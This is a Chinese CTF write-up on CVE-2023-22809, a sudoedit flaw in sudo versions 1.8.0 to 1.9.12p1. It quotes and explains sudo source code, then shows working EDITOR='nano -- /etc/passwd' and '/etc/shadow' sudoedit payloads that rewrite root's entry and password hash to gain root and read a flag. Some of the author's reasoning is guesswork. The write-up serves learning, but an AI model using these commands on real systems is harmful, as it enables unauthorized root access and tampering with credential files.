对我来说还是有点难了,web方向的phpstudy那道题,不知道为什么,xss就是打不进去,第二道python反序列化还没有理解,所以就先发一道misc
MISC
sudo
记CVE-2023-22809
一、漏洞范围
sudo 1.8.0到1.9.12p1版本受影响
二、漏洞概述
sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。的内容其中一个变量扩展了传递给sudo_edit()
函数的实际命令。
然而,后者依赖于--
参数的存在来确定要编辑的文件列表。注入在一个已授权的环境变量中使用额外的--
参数可以更改此列表并导致特权通过编辑具有RunAs用户权限的任何其他文件来升级。这个问题发生在sudoers之后。
三、漏洞成因
由于Sudo中的sudoedit
对处理用户提供的环境变量(如SUDO_EDITOR
、VISUAL
和EDITOR
)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 --
参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。除外,该漏洞还影响部分QNAP操作系统:QTS、QuTS hero、QuTScloud、QVP(QVR Pro设备)。
猜测:我们可以利用SUDO_EDITOR、VISUAL、EDITOR传递参数进行提权攻击
四、漏洞分析
sudoers策略插件首先调用sudoers_policy_main()
来处理的查找和验证使用sudoers_lookup()
的策略。不过,在此功能结束后,策略成功验证时,使用名为find_editor()
的编辑器查找方法重写命令。
// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
// [...]
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
// [...]
if (ISSET(sudo_mode, MODE_EDIT)) {
// [...]
safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,
&env_editor, false);
代码解释:
该代码片段是在sudoers/sudoers.c
文件中的sudoers_policy_main
函数的一部分。与sudo程序中sudoers策略的实现相关,该策略负责确定是否允许用户以管理员权限执行给定的命令。
在这个特定的代码片段中,sudoers_policy_main
函数被传入了几个参数:argc
和argv
,表示传递给sudo的命令行参数,pwflag
是一个表示与密码相关的行为的标志,env_add
是一个要设置的额外环境变量数组,verbose
是一个表示是否启用详细输出的标志,closure
是一个指向其他数据的通用指针。
在函数内部,调用了sudoers_lookup
函数,传递了snl
(可能是某种数据结构)和sudo_user.pw
(表示sudo用户的密码)作为参数,并将结果保存在validated
变量中。然后,根据sudo_mode
中的MODE_EDIT
标志,执行了一些与编辑器相关的操作,其中find_editor
函数用于查找适当的编辑器并返回相关参数。
该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR
, VISUAL
和EDITOR
。
// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *allowlist, const char **env_editor, bool env_error)
{
// [...]
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);
if (editor != NULL && *editor != '\0') {
*env_editor = editor;
editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);
代码解释:
这段代码是 editor.c
文件中的 find_editor
函数的一部分。它的作用是查找合适的编辑器,并返回编辑器的路径。
在这段代码中,有几个参数和变量需要解释:
-
nfiles
:表示文件数量的整数值。
-
files
:表示文件数组的指针。
-
argc_out
:是一个指向整数的指针,用于存储找到的编辑器命令行参数的数量。
-
argv_out
:是一个指向指针的指针,用于存储找到的编辑器命令行参数数组的地址。
-
allowlist
:表示允许列表的指针,用于限制允许的编辑器。
-
env_editor
:是一个指向指针的指针,用于存储编辑器环境变量的地址。
-
env_error
:是一个布尔值,表示是否在环境变量错误时显示错误。
该函数的主要逻辑如下:
- 将
env_editor
的值设置为 NULL
,表示尚未找到编辑器的环境变量。
- 定义一个字符串数组
ev
,其中包含三个环境变量名:SUDO_EDITOR
、VISUAL
和 EDITOR
。这些环境变量通常用于指定编辑器的路径。
- 使用一个循环,依次检查每个环境变量,查找编辑器的路径。对于每个环境变量,通过调用
getenv
函数获取环境变量的值,如果该值不为 NULL
且不为空字符串,则将其赋值给 env_editor
。
- 如果找到了编辑器的环境变量,调用
resolve_editor
函数来解析编辑器的路径。resolve_editor
函数会根据提供的编辑器路径、文件数量以及其他参数,来确定最终的编辑器命令行参数,并返回编辑器的完整路径。
如果存在,则将每个值发送到resolve_editor()
进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在--
参数之前原来的命令行。
// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
int *argc_out, char ***argv_out, char * const *allowlist)
{
// [...]
/*
* Split editor into an argument vector, including files to edit.
* The EDITOR and VISUAL environment variables may contain command
* line args so look for those and alloc space for them too.
*/
cp = wordsplit(ed, edend, &ep);
// [...]
editor = copy_arg(cp, ep – cp);
/* Count rest of arguments and allocate editor argv. */
for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
nargc++;
if (nfiles != 0)
nargc += nfiles + 1;
nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
// [...]
/* Fill in editor argv (assumes files[] is NULL-terminated). */
nargv[0] = editor;
// [...]
for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
/* Copy string, collapsing chars escaped with a backslash. */
nargv[nargc] = copy_arg(cp, ep - cp);
// [...]
}
if (nfiles != 0) {
nargv[nargc++] = "--";
while (nfiles--)
nargv[nargc++] = *files++;
}
nargv[nargc] = NULL;
*argc_out = nargc;
*argv_out = nargv;
代码解释:
这段代码是 editor.c
文件中的 resolve_editor
函数的一部分。它的作用是将编辑器路径及其他参数解析为编辑器的命令行参数,并返回编辑器的完整路径。
在这段代码中,有几个参数和变量需要解释:
-
ed
:是一个指向编辑器路径的字符串指针。
-
edlen
:表示编辑器路径的长度。
-
nfiles
:表示文件数量的整数值。
-
files
:表示文件数组的指针。
-
argc_out
:是一个指向整数的指针,用于存储解析后的编辑器命令行参数的数量。
-
argv_out
:是一个指向指针的指针,用于存储解析后的编辑器命令行参数数组的地址。
-
allowlist
:表示允许列表的指针,用于限制允许的编辑器。
该函数的主要逻辑如下:
- 使用
wordsplit
函数将编辑器路径分割成一个参数向量,并存储在 cp
和 ep
变量中。
- 通过调用
copy_arg
函数将 cp
和 ep
之间的内容复制到 editor
变量中,得到编辑器的路径。
- 计算剩余参数的数量,并为编辑器的命令行参数数组分配内存空间。
- 将
editor
存储到 nargv
数组的第一个元素中。
- 使用循环遍历每个剩余参数,通过调用
wordsplit
函数将参数分割并复制到 nargv
数组中。
- 如果存在文件数量
nfiles
,将 "--"
字符串存储到 nargv
数组中,并使用另一个循环将文件数组 files
中的文件路径存储到 nargv
数组中。
- 将
nargv
数组的最后一个元素设为 NULL
,表示参数数组的结束。
- 将解析后的编辑器命令行参数数量存储到
argc_out
指针指向的位置。
- 将解析后的编辑器命令行参数数组的地址存储到
argv_out
指针指向的位置。
然后使用生成的命令调用sudo_edit()
函数。找到临时工作后可写目录(/var/tmp
, /usr/tmp
, /tmp
或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的--
参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。
// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
// [...]
/*
* Set real, effective and saved uids to root.
* We will change the euid as needed below.
*/
setuid(ROOT_UID);
// [...]
/* Find a temporary directory writable by the user. */
set_tmpdir(&user_details.cred);
// [...]
/*
* The user's editor must be separated from the files to be
* edited by a "--" option.
*/
for (ap = command_details->argv; *ap != NULL; ap++) {
if (files)
nfiles++;
else if (strcmp(*ap, "--") == 0)
files = ap + 1;
else
editor_argc++;
}
这段代码是在 sudo_edit
函数中的一部分,用于执行编辑操作。下面对代码进行解释:
-
command_details
:指向 command_details
结构体的指针,包含了要执行的命令的详细信息。
在函数中的主要逻辑如下:
- 使用
setuid(ROOT_UID)
将实际用户ID、有效用户ID和保存的用户ID设置为 root。这是为了确保在执行编辑操作时拥有足够的权限。
- 调用
set_tmpdir
函数,为用户查找一个可写的临时目录。
- 使用循环遍历
command_details->argv
数组中的每个命令行参数。对于每个参数:
- 如果
files
不为空,则表示已经找到了 "--"
参数之后的文件参数,递增 nfiles
的计数。
- 如果参数与
"--"
相等,则表示找到了文件参数之前的编辑器参数,将 files
设置为该参数之后的位置。
- 否则,递增
editor_argc
的计数,表示参数属于编辑器参数。
这段代码的目的是将编辑器参数和文件参数分开,使用 "--"
参数作为分隔符。
在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。
EDITOR='vim -- /path/to/extra/file'
使用这个值,命令行将被解析为:
vim -- /path/to/extra/file -- /path/from/policy
因此,假设采用以下策略,用户将能够通过编辑将权限升级到root系统中的敏感文件。
$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged
$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash
五、本题解法
经过上面balabala一堆,总结一下就是利用vim等文本编辑器,进行sudoedit来修改root系统中的敏感文件
我们可以先看看可以用什么文本编辑器
update-alternatives --config editor
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6KXwrKc2-1684570377749)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\1684325205404.png)]
这段输出表示在 editor
链接组中只有一个可选项,即 /bin/nano
。这是因为系统当前只配置了一个可用的文本编辑器。
那我们就用nano
来进行sudoedit
根据上文提到的EDITOR='vim -- /path/to/extra/file'
来设置环境变量,然后我们需要后接一个sudoedit
来进行修改文件(这里试了一下,虽然环境变量可以自行设置,但是并不会应用到服务器中,所以需要在设置完环境变量后直接进行sudoedit来进行修改)
环境变量上面提到的SUDO_EDITOR
、VISUAL
和 EDITOR
都可以使用,下文使用的是EDITOR
在修改之前, 首先我们先查看==/etc/soduers配置文件==,这个也是关键
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f7SWQKhH-1684570377749)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\1684326114927.png)]
解释如下:
-
Defaults env_reset
:这个配置表示在运行 sudo 命令时重置环境变量。
-
Defaults mail_badpass
:这个配置表示在用户输入错误密码时发送电子邮件通知。
-
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
:这个配置定义了 sudo 命令的默认安全路径,即可执行文件的搜索路径。
-
root ALL=(ALL:ALL) ALL
:这行表示允许用户 root 在任何终端以任何用户身份执行任何命令。
-
%admin ALL=(ALL) ALL
:这行表示属于 admin
组的用户可以使用 sudo 命令以任何用户身份执行任何命令。
-
%sudo ALL=(ALL:ALL) ALL
:这行表示属于 sudo
组的用户可以使用 sudo 命令以任何用户身份执行任何命令。
-
xiaonannan ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/GAMELAB
:这行表示用户 xiaonannan
可以使用 sudoedit 命令以任何用户身份,无需输入密码,来编辑 /etc/GAMELAB
文件。
-
#includedir /etc/sudoers.d
:这行是一个注释,指示可以使用 #include
指令来包含 /etc/sudoers.d
目录中的其他配置文件。
从Defaults env_reset
可以看出,这是上文提到环境变量不会保存的原因
关键的是xiaonannan ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/GAMELAB,这个命令决定了sudoedit后面需要有文件,且仅能是这个文件,这个文件是临时文件,可以有上面代码审计调用 set_tmpdir 函数,为用户查找一个可写的临时目录
得知(猜的),猜测这里面的临时目录就是上面所写的/GAMELAB
然后可以利用环境变量
和sudoedit
来进行提权了
这里我除了修改root用户名
还摸索了一种修改root密码
1.修改用户名
payload:
EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB
然后就会进入到nano界面
将第一行的root
改成xiaonannan
,就可以让xiaonannan访问/root目录下的/bin/bash从而执行root权限的命令
Ctrl+O
然后按回车保存,然后Ctrl+x
就可以退出/etc/passwd
的nano编辑界面,然后发现没有完全退出,仔细看上面
文件名变成了/tmp/GAMELAB
,因为我们的payload是EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB
,我们将环境变量设置成了/etc/passwd
所以sudoedit策略会先执行这个编辑改文件的命令,然后再执行sudoedit /etc/GAMELAB
这也证实了我们的想法,GAMELAB
是个临时文件,然后我们再cat /etc/passwd
一下
可以看到,root的用户名已经变成了xioanannan,然后切换用户:
su xiaonannan
之后输入密码,就可以cat /flag
得到flag
2.修改root密码
在 Linux 中,用户的账号密码是以加密的方式存储在系统文件中,通常是 /etc/shadow
文件。
该文件也确实存在,但是我们是无法直接读取的,所以直接构造payload来查看并修改该文件:
EDITOR='nano -- /etc/shadow' sudoedit -- /etc/GAMELAB
成功读取到内内容,这里解释一下里面是什么意思
在密码字段中,*
表示密码被锁定或禁用。这意味着 root 用户在此系统上无法使用密码登录。密码字段为 *
是为了防止直接使用密码进行 root 登录,而是使用其他更安全的认证方式,如密钥登录或通过 sudo
命令提升权限。
所以我们是无法通过直接读取root的密码来进行夺取flag的,我们要修改
思路就是,我们现在已知的密码只有xiaonannan
,那么只需要把加密之后的小楠楠的密码直接copy到root行,如下:
之后保存并退出
这里如果直接su root
验证失败
所以我们需要,退出重进!
用户名输入root
,密码和xiaonannan一样,直接登陆成功
然后cat /f*
得到flag
PS:这题应该还有别的办法。。。。但是菜菜,只能想到两种了